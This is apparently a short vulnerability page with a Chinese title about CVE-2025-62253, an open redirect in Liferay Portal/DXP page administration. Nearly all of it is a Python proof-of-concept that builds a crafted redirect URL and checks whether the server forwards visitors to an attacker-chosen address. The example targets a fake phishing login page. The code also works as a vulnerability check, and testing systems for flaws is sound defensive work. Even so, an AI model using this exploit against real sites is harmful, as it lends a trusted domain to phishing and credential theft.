CVE-2025-62253 Liferay Portal页面管理开放重定向漏洞

# CVE-2025-62253 Open Redirect PoC # Target: Liferay Portal/DXP # Attack Vector: _com_liferay_layout_admin_web_portlet_GroupPagesPortlet_redirect parameter import requests import urllib.parse def exploit_open_redirect(target_url, malicious_url): """ Exploit CVE-2025-62253 Open Redirect vulnerability Args: target_url: Base URL of vulnerable Liferay instance malicious_url: Malicious URL to redirect victims to """ # Encode the malicious URL for the redirect parameter encoded_redirect = urllib.parse.quote(malicious_url, safe='') # Construct the exploit URL with the malicious redirect parameter exploit_url = f"{target_url}/group/control_panel/manage?p_p_id=com_liferay_layout_admin_web_portlet_GroupPagesPortlet&_com_liferay_layout_admin_web_portlet_GroupPagesPortlet_redirect={encoded_redirect}" print(f"[*] Target: {target_url}") print(f"[*] Malicious Redirect URL: {malicious_url}") print(f"[*] Exploit URL: {exploit_url}") # Send request to verify vulnerability try: response = requests.get(exploit_url, allow_redirects=False, timeout=10) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') if malicious_url in location: print(f"[!] VULNERABLE: Server redirects to {location}") return True # Also check for meta refresh or JavaScript redirect if malicious_url in response.text: print(f"[!] VULNERABLE: Redirect found in response body") return True print(f"[*] Not vulnerable or no redirect detected") return False except requests.RequestException as e: print(f"[!] Error: {e}") return False # Example usage if __name__ == "__main__": target = "https://vulnerable-liferay.com" malicious = "https://evil-phishing-site.com/fake-login" exploit_open_redirect(target, malicious)